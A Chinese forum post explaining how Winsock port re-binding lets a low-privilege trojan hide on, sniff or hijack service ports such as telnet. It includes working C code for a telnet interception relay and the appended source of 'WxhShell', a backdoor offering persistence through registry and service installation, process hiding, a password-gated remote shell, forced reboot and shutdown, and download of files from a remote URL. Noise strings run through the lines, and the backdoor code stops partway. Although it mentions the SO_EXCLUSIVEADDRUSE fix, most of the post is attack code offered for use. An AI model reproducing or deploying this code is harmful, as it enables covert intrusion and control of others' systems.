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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t/v@vJ`vSH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); im_w+h%^  
'`M#UuU  
  saddr.sin_family = AF_INET; +?URVp  
9l]UE0yTL/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v?Z'[l  
i>ESEmb-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >VRo|o<D  
g)=V#Bglv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4'+d"Ok  
T4V[R N  
  这意味着什么?意味着可以进行如下的攻击: 96.IuwL*.s  
p&k 0Rx0Q3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6obQ9L c  
7j@^+rkr3f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w"fCI 13  
+}Kk2Kg8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a6;gBoV  
4u3 \xR?w6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2^ zg0!z  
7^kH8qJ)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RtW4 n:c  
> [Xm|A#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2. StG(Y!  
WafdE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q;XXgX#l  
fl!mYCPv  
  #include { M`  
  #include L\QQjI{  
  #include 3M}AxE u  
  #include    '4J&Gpx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B*9  
  int main() fs wZM\@  
  { Eem 2qKj  
  WORD wVersionRequested; I x( 6  
  DWORD ret; i FC"!23f  
  WSADATA wsaData; =^Bq WC2~  
  BOOL val; o8w-$ Qb  
  SOCKADDR_IN saddr; >=4sPF)  
  SOCKADDR_IN scaddr; am]3 "V>  
  int err; Hm.X}HO0L  
  SOCKET s; R!sNg   
  SOCKET sc; n (OjjR m  
  int caddsize; y.jS{r".  
  HANDLE mt; QH& %mr.S  
  DWORD tid;   qsI{ b<n  
  wVersionRequested = MAKEWORD( 2, 2 );  ]a78tTi  
  err = WSAStartup( wVersionRequested, &wsaData ); Sv.KI{;v$  
  if ( err != 0 ) { \z2vV +f  
  printf("error!WSAStartup failed!\n"); y' 2<qj  
  return -1; ' " Bex`  
  } V %i<;C  
  saddr.sin_family = AF_INET; Zk wJ.SuU  
   B#J{F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $`E4m8fX  
uEBQoP2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YavfjS:2  
  saddr.sin_port = htons(23); ri_P;#lz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8&i;hZm  
  { gs$3)t  
  printf("error!socket failed!\n"); _Mlhum t  
  return -1; x2Ha&   
  } aZ8h[#]7  
  val = TRUE; ?(]a*~rx  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l#b:^3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4+)Z k$E  
  { 7 2`/d`  
  printf("error!setsockopt failed!\n"); ymHKcQ  
  return -1; bAUHUPe  
  } ozVpfs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 55LgBD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ty':`)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SO7(K5H,  
'T%IvJ#Xu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,&0Z]*  
  { TV<Aj"xw  
  ret=GetLastError(); KUbJe)}g  
  printf("error!bind failed!\n"); VIetcs  
  return -1; ,bxz]S1W  
  } eDuX"/kHA  
  listen(s,2); *8/VSs  
  while(1) `Rrr>vj  
  { .Xi2G@D  
  caddsize = sizeof(scaddr); yz2(_@R  
  //接受连接请求 ? %93b ,7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {d8^@UL  
  if(sc!=INVALID_SOCKET) k@7kNMl  
  { !!9{U%s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .-J`d=Krp  
  if(mt==NULL)  j|ozGO  
  { [;<<4k(nL  
  printf("Thread Creat Failed!\n"); wI*Y{J  
  break; @ozm;  
  } q Z#!CPHS  
  } :sFo  
  CloseHandle(mt); &ryiG  
  } [ ynuj3G V  
  closesocket(s); 5H~@^!7t  
  WSACleanup(); Dp^95V@  
  return 0; #iiwD|  
  }   $khrWiX  
  DWORD WINAPI ClientThread(LPVOID lpParam) ej<`CQ  
  { :|=- (z  
  SOCKET ss = (SOCKET)lpParam; h5 j<u  
  SOCKET sc; TWtC-wI;  
  unsigned char buf[4096]; 3=IG#6)~C  
  SOCKADDR_IN saddr; $%B5$+  
  long num; _n7%df  
  DWORD val; h:_NA  
  DWORD ret; {QMN=O&n  
  //如果是隐藏端口应用的话,可以在此处加一些判断 O 3G:0xF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WBa /IM   
  saddr.sin_family = AF_INET; xwi!:PAf,o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,|A{!j`  
  saddr.sin_port = htons(23);  $<:'!#%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vpi l$Uq  
  { & wOE\TCL  
  printf("error!socket failed!\n"); 8'+7i8e  
  return -1; Xt\Dy   
  } QOd!]*W`?m  
  val = 100; 'g2vX&=$A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s_TD4~ $  
  { XYMxG:  
  ret = GetLastError(); FQ1arUOFW,  
  return -1; ghX:"vV{n  
  } $:(z}sYQ7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0Lx3]"v  
  { ?H<~ac2e  
  ret = GetLastError(); \d:h$  
  return -1; PFm\[2  
  } }Iip+URG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,2,W^HJ  
  { j|k @MfA  
  printf("error!socket connect failed!\n"); f'i6QMk\&  
  closesocket(sc); v O PMgEI  
  closesocket(ss); !n:uiwh  
  return -1; ]b> pI;  
  } (ZS/@He  
  while(1) wz h.$?~  
  { - {0g#G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q4=|@|U0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;sCU [4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U[bgu#P;  
  num = recv(ss,buf,4096,0); 0_Lm#fE U  
  if(num>0) q1jN]H  
  send(sc,buf,num,0); !8o\.uyi  
  else if(num==0) MJA~jjy4  
  break; ">cqt>2 A  
  num = recv(sc,buf,4096,0); V\"1wV~E  
  if(num>0) .8:+MW/  
  send(ss,buf,num,0); M.S s: ttj  
  else if(num==0) svqvG7  
  break; Vli3>K&  
  } k},>^qE  
  closesocket(ss); lYP~3wp99  
  closesocket(sc); s+'XQs^{aj  
  return 0 ; !:dL~n  
  } b#A(*a_gN  
Qne0kB5m  
IyOpju)?  
========================================================== @R UP$  
UDM yyVd  
下边附上一个代码,,WXhSHELL 4j{oaey  
y #69|G  
========================================================== 6Etss!_  
lJUy;yp_+  
#include "stdafx.h" \1]rlzXGUT  
&u=8r*  
#include <stdio.h> BW>5?0E[4(  
#include <string.h> SD^E7W$?  
#include <windows.h> 5y040 N-  
#include <winsock2.h> z,avQR&  
#include <winsvc.h> KXq_K:r?  
#include <urlmon.h> l0:5q?g  
b[yE~EQxr  
#pragma comment (lib, "Ws2_32.lib") 4T%cTH:.9N  
#pragma comment (lib, "urlmon.lib") p&\K9hfi  
_; 7fraqX  
#define MAX_USER   100 // 最大客户端连接数 gJKKR]4*  
#define BUF_SOCK   200 // sock buffer =q5@,wN^  
#define KEY_BUFF   255 // 输入 buffer /LF3O~Go  
x2@,9OUx  
#define REBOOT     0   // 重启 nc&Jmo7  
#define SHUTDOWN   1   // 关机 -~\f2'Q  
r ^ Y~mq  
#define DEF_PORT   5000 // 监听端口 gJk[Ja  
{\L|s5=yr  
#define REG_LEN     16   // 注册表键长度 nP OO3!<{  
#define SVC_LEN     80   // NT服务名长度 +aj^Cs1$  
 VGB-h'  
// 从dll定义API *Q5x1!#z #  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K#wK1 Sv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y1WHy *s?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R:f7LRF/\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ULIFSd Y  
'bPk'pj9  
// wxhshell配置信息 G5;V.#"Z[  
struct WSCFG { *i@T!O(1)M  
  int ws_port;         // 监听端口 1 }nm2h1 I  
  char ws_passstr[REG_LEN]; // 口令 B4^`Sw  
  int ws_autoins;       // 安装标记, 1=yes 0=no ssA7Dx:  
  char ws_regname[REG_LEN]; // 注册表键名 kW +G1|  
  char ws_svcname[REG_LEN]; // 服务名 lLMPw}r<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?@DNsVwb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %Hwbw],kl8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -X8eabb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n,sY\=vB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3q?5OL^$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `iQqhx  
)!sa)\E?  
}; e#khl9j*bt  
Wcn[gn<  
// default Wxhshell configuration Y"*:&E2)r  
struct WSCFG wscfg={DEF_PORT, puF%=i  
    "xuhuanlingzhe", "H?QqrKx  
    1, R8 jovr  
    "Wxhshell", v?)SA];  
    "Wxhshell", r[!(?%>j  
            "WxhShell Service", :,^>d3k  
    "Wrsky Windows CmdShell Service", /PW&$P1.]"  
    "Please Input Your Password: ", Egf^H>,.M  
  1, e9:P9Di(b  
  "http://www.wrsky.com/wxhshell.exe", !F$R+A+L  
  "Wxhshell.exe" ^yJ:+m;6K  
    }; />F.Nsujy  
Hk9U&j$  
// 消息定义模块 hfv%,,e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /WYh[XKe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dhtb?n{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OpQ8\[X+  
char *msg_ws_ext="\n\rExit."; f'_M0x  
char *msg_ws_end="\n\rQuit."; L=g_@b   
char *msg_ws_boot="\n\rReboot..."; ^/a*.cu  
char *msg_ws_poff="\n\rShutdown..."; m|1n x  
char *msg_ws_down="\n\rSave to "; ?ZX!7^7  
VDpxk$a  
char *msg_ws_err="\n\rErr!"; DEtf(lW_  
char *msg_ws_ok="\n\rOK!"; {cR3.%wX  
B6%&gXr\  
char ExeFile[MAX_PATH]; !=[>r'+3  
int nUser = 0; /< QSe  
HANDLE handles[MAX_USER]; 7xT[<?,  
int OsIsNt; Ow)R|/e /  
'Sa!5h  
SERVICE_STATUS       serviceStatus; mgcN(n1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vhph`[dC{  
z 6cYC,  
// 函数声明 mp:m`sh*i  
int Install(void); L;yEz[#xaT  
int Uninstall(void); /[?Jylj  
int DownloadFile(char *sURL, SOCKET wsh); &O*ENpF  
int Boot(int flag); ]! )xr  
void HideProc(void); w+=Q6]FxJ  
int GetOsVer(void); [b;Uz|o  
int Wxhshell(SOCKET wsl); p:tN642  
void TalkWithClient(void *cs); km4g}~N</  
int CmdShell(SOCKET sock); 9I kUZW  
int StartFromService(void); 9|3o<  
int StartWxhshell(LPSTR lpCmdLine); Z Xb}R^O-  
zo44^=~%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hVf^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h[Mdr  
=fWdk\Wv  
// 数据结构和表定义 \O? u*  
SERVICE_TABLE_ENTRY DispatchTable[] = >UWStzH<  
{ ZAeQ~ j~  
{wscfg.ws_svcname, NTServiceMain}, xiCN qk3  
{NULL, NULL} PpFsp( )x  
}; ^1VbH3M  
e1uMR-Q  
// 自我安装 2LK]Q/WG,+  
int Install(void) ]3+``vL  
{ X+at%L=  
  char svExeFile[MAX_PATH]; [gZDQcU  
  HKEY key; k%Eh{dA  
  strcpy(svExeFile,ExeFile); OL9]*G?F  
+* D4(  
// 如果是win9x系统,修改注册表设为自启动 F[]&1  
if(!OsIsNt) { MA6P"?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9U'[88  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  qpTm  
  RegCloseKey(key); W_m!@T"@H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MS{{R +&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 74]a/'4  
  RegCloseKey(key); blp=Hk  
  return 0; BKZ v9  
    } H"D 5 e  
  } Azn:_4O  
} ?K<Z kYw?  
else { "mt p0  
 (YrR8  
// 如果是NT以上系统,安装为系统服务 ^IgS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [Xh\m DU.  
if (schSCManager!=0) pYh!]0n  
{ $T/#1w P  
  SC_HANDLE schService = CreateService \u8,!) 4i  
  ( [-58Ezyr  
  schSCManager, Q c3?}os2  
  wscfg.ws_svcname, )E~_rDTl  
  wscfg.ws_svcdisp, 3agNBF2  
  SERVICE_ALL_ACCESS, : I)Gv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !.X _/$c  
  SERVICE_AUTO_START, {82rne `[  
  SERVICE_ERROR_NORMAL, UE;Bb*<   
  svExeFile, R,b59,&3/  
  NULL, v F[CWV.  
  NULL, o8tS  
  NULL, 0[9I0YBJ  
  NULL, qguVaV4Y  
  NULL -#%X3F7/w  
  ); W>:kq_gT  
  if (schService!=0) A$<>JVv  
  { tN}c0'H  
  CloseServiceHandle(schService); lM+ xU;  
  CloseServiceHandle(schSCManager); 3 Ta>Ki  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HEpM4xe$  
  strcat(svExeFile,wscfg.ws_svcname); gVA; `<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =)*JbwQ   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SB1[jcJ  
  RegCloseKey(key); ]>vf9]  
  return 0; X'@f"=v9k  
    } 9 `INC~h  
  } z5pc3:  
  CloseServiceHandle(schSCManager); ~<eVl l=  
} oAnigu;  
} SUc6/'Rdr  
`Hd9\;NJ  
return 1; ]ViOr8u  
} iD`k"\>9  
8nsZ+,@+[  
// 自我卸载 ]738Z/)^  
int Uninstall(void) 3cHtf  
{ uP Rl[tS0  
  HKEY key; x;mJvfX  
]?&H^"=  
if(!OsIsNt) { _NT[ ~M_Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~lk@6{`l|1  
  RegDeleteValue(key,wscfg.ws_regname); 48k 7/w\  
  RegCloseKey(key); Uz $ @(C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RJ*F>2  
  RegDeleteValue(key,wscfg.ws_regname); f@x_#ov  
  RegCloseKey(key); \n;g2/VjO  
  return 0;  mmcdtVe  
  } _4!{IdR  
} &SrGh$:X  
} UM`nq;>  
else { .HCaXFW  
ig$jKou F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x5PPu/  
if (schSCManager!=0) /6jGt'^U  
{ wibwyzo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &N9IcNP  
  if (schService!=0) 9N1#V K  
  { [9HYO  
  if(DeleteService(schService)!=0) { 117c,yM0  
  CloseServiceHandle(schService); 8H_l[/  
  CloseServiceHandle(schSCManager); $W*|~}F/Ap  
  return 0; F"v:}Vy|   
  } 9M]^l,  
  CloseServiceHandle(schService); |=u96G~N  
  } w49{-Pp[  
  CloseServiceHandle(schSCManager); /4-}k  
} \kyM}5G(<0  
} Vpw[B.v  
Mlwdha0  
return 1; !3 ?yG  
} +0dT^Jkqg  
.OV-`TNWj  
// 从指定url下载文件 ,m3":{G:t.  
int DownloadFile(char *sURL, SOCKET wsh) mZE8.`  
{ Hh@2m\HA  
  HRESULT hr; "4RQ`.S R  
char seps[]= "/"; }>,CUz  
char *token; .8x@IWJD  
char *file; 2md.S$V$,  
char myURL[MAX_PATH]; PK}vh%  
char myFILE[MAX_PATH]; ?^F5(B[+Y  
AygvJeM_W  
strcpy(myURL,sURL); 19) !$Hl  
  token=strtok(myURL,seps); %}ixgs7*c0  
  while(token!=NULL)  ^ `je  
  { ^X^,>Z|  
    file=token; `yx56  
  token=strtok(NULL,seps); {?y<%@  
  } <uC<GDO  
E$R_rX4x  
GetCurrentDirectory(MAX_PATH,myFILE); wcl!S{  
strcat(myFILE, "\\"); 8UYJye8  
strcat(myFILE, file); j)BQMtt&U  
  send(wsh,myFILE,strlen(myFILE),0); 3AvcJ1  
send(wsh,"...",3,0); fRFYJFc n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "5h_8k~sQ  
  if(hr==S_OK) (s ;zRb!4L  
return 0; 9':/Sab:7v  
else oAaf)?8  
return 1; ^9s"FdB]24  
~Zu}M>-^c,  
} /0l-mfRr  
^H-QYuz:T0  
// 系统电源模块 Qj:{p5H'  
int Boot(int flag) .X^43 q  
{ 9j2\y=<&  
  HANDLE hToken; `T`c@A  
  TOKEN_PRIVILEGES tkp; NU(^6  
!YIb  
  if(OsIsNt) { 5c)<'EP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MorW\7-}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 38"cbHE3  
    tkp.PrivilegeCount = 1; n{3| E3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L*v93;|s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9[Y*k^.!  
if(flag==REBOOT) { =<TO"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Nv{eE<<6  
  return 0; Xa)7`bp<  
} [{?;c+[  
else { *n,UOHlO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m qpd  
  return 0; '/dTqg*W  
} ?N(u4atC  
  } K# /Ch5?  
  else { dw3'T4TC?  
if(flag==REBOOT) { bYK]G+Ww  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Okk hP  
  return 0; LK{a9` h  
} uFWvtL?;_  
else { lR, G;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YyG~#6aCh  
  return 0; ]2P/G5C3tU  
} pL%4= ]m  
} @|Z*f\  
Bg5;Q)  
return 1; I>\}}!  
} vrQFx~ZztH  
Qf" 6PJ  
// win9x进程隐藏模块  5=*@l  
void HideProc(void) 6NU8HJp  
{ <nf=SRZ  
 Pb*q;9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s8{-c^G:R  
  if ( hKernel != NULL ) a pKa4nI  
  { W6)dUi :"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G#^m<G^M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O\3r%=TF  
    FreeLibrary(hKernel); 2lX[hFa5  
  } )`e^F9L  
3zk:59  
return; ,HQ1C8  
} 4V!1/w  
k\Yu5)  
// 获取操作系统版本 ;L#L Dk{Za  
int GetOsVer(void) 3- 4Nad  
{ sj#{TTW  
  OSVERSIONINFO winfo; +#^sy>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p)K9 ZI  
  GetVersionEx(&winfo); _G_ &Me0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *2w_oKE'+5  
  return 1;  aOaF&6'j  
  else Xi1q]ps  
  return 0; 4W[AXDS  
} hWl""66+5  
<\qY " .`  
// 客户端句柄模块 >OF:"_fh  
int Wxhshell(SOCKET wsl) ?6_"nT*}  
{ dqIZ#;:g  
  SOCKET wsh; 'YBLU)v[  
  struct sockaddr_in client; O('i*o4!}  
  DWORD myID; $8<j5%/ $M  
AH"g^ gw~T  
  while(nUser<MAX_USER) ux" D ]P  
{ SSSDl$}'t  
  int nSize=sizeof(client); ~(Ih~/5\^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :)^# xE(  
  if(wsh==INVALID_SOCKET) return 1; V{ 4i$'  
O2V6UX@&<w  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !#cKF6%  
if(handles[nUser]==0) F&nMI:h7  
  closesocket(wsh); 'l0eo' K  
else LaEX kb*s  
  nUser++; 's56L,^:  
  } 5~<a>>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -KJ}.q>upq  
` $QzTv   
  return 0; ~/]\iOL  
} %WJ\'@O\  
pw(U< )  
// 关闭 socket \'}/&PCkr  
void CloseIt(SOCKET wsh) j L>I5f  
{ N9>'/jgZX  
closesocket(wsh); Jq$6$A,f  
nUser--; softfjl&l  
ExitThread(0); '.}6]l  
} yNb#Ia  
2>_brz|7:|  
// 客户端请求句柄 IlC:dA  
void TalkWithClient(void *cs) 32)&;  
{ \$$b",2 h  
F$sF 'cw  
  SOCKET wsh=(SOCKET)cs; I;kUG_c(4  
  char pwd[SVC_LEN]; P?3YHa^up  
  char cmd[KEY_BUFF]; V5(tf'  
char chr[1]; 5~kW-x  
int i,j; 7E\K!v_  
jl 30\M7  
  while (nUser < MAX_USER) { sJjl)Qs)T  
ECE{xoc  
if(wscfg.ws_passstr) { mPw56>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6qHvq A,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "0!eb3n  
  //ZeroMemory(pwd,KEY_BUFF); |({UV-`  
      i=0; b;~EJ  
  while(i<SVC_LEN) { sg9x?Bx9  
21)-:rS  
  // 设置超时 ^8f|clw"  
  fd_set FdRead; .SKNIct M  
  struct timeval TimeOut; ; ei<Q =[  
  FD_ZERO(&FdRead); !lt\2Ae  
  FD_SET(wsh,&FdRead); `|ck5DZT5L  
  TimeOut.tv_sec=8; 6S+K*/w  
  TimeOut.tv_usec=0; oE|u;o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X'3`Q S:!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J*6n6  
2gC&R1 H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0x9F*i_  
  pwd=chr[0]; B1i!te}*  
  if(chr[0]==0xd || chr[0]==0xa) { C.9eXa1wkT  
  pwd=0; )T$f k  
  break; bTo@gJk n  
  } X~Rk ,d3  
  i++; !=q:> }g  
    } '#An+;x{  
;&t1FH#=  
  // 如果是非法用户,关闭 socket |<+|Du1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L]L~TA<D9i  
} @e?[oojrM  
{eD>E(Y@z1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O( 5L2G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  <*6y`X  
]`i@~Z h\  
while(1) { 2'UFHiK  
n\8[G [M  
  ZeroMemory(cmd,KEY_BUFF); n[cyK$"  
#&`WMLl+8  
      // 自动支持客户端 telnet标准   &Ow?Hd0  
  j=0; 65e Wu=T  
  while(j<KEY_BUFF) { Ppo^qb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,ov v  
  cmd[j]=chr[0]; (J;zkb  
  if(chr[0]==0xa || chr[0]==0xd) { E 4$h%5  
  cmd[j]=0; 5 1CU@1Ie  
  break; WNlSve)]ie  
  } lh(+X-}D  
  j++; J^+$L"K  
    } T~ q'y~9o  
>-@{vyoOy  
  // 下载文件 % OfDTs  
  if(strstr(cmd,"http://")) { b]qfcV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); />2$ XwP  
  if(DownloadFile(cmd,wsh)) _%p9 B#X<>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DRg ~HT  
  else !y2h`ZAZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )]>Y*<s }  
  } !=Kay^J~.  
  else { +Tc(z{;  
l<MCmKuYp  
    switch(cmd[0]) { "a`0w9Mm}  
  *~oDP@[S  
  // 帮助 t-|=weNy  
  case '?': { /wRK[i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qD>Y}Z !  
    break; -mYI[AG)  
  } Ckl]fy@D}  
  // 安装 g:e8i~  
  case 'i': { @LMV?  
    if(Install()) 6;c{~$s~[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yar IR|  
    else 2Lu{@*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d?qO`- ~$  
    break; AJ1$$c  
    } pS)X\Xyw  
  // 卸载 89e.\EH  
  case 'r': { :V1ZeNw  
    if(Uninstall()) laL4ez  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nn4Kt,KY  
    else *oJ>4S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g$+O<a@n  
    break; _ ~$0cj<  
    } NU\t3JaR  
  // 显示 wxhshell 所在路径 }sNZQ89V*v  
  case 'p': { T-cVM>u\D  
    char svExeFile[MAX_PATH]; gR6T]v  
    strcpy(svExeFile,"\n\r"); >0okb3+  
      strcat(svExeFile,ExeFile); {1&,6kJF&9  
        send(wsh,svExeFile,strlen(svExeFile),0); a}]@o"  
    break; &aht K}u  
    } lukRFN>c"  
  // 重启 G uI sM  
  case 'b': { DG9;6"HBX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0<Y&2<v  
    if(Boot(REBOOT)) ?#y<^oNM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [5#/& k{  
    else { {7szo`U2  
    closesocket(wsh); x@\'@>_GM  
    ExitThread(0); G8c}re   
    } }pZnWK+  
    break; (I 0t*Se  
    } 2F(\}%UT~  
  // 关机 _)H+..=  
  case 'd': { mZ&Mj.0+~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _4#psxl[M  
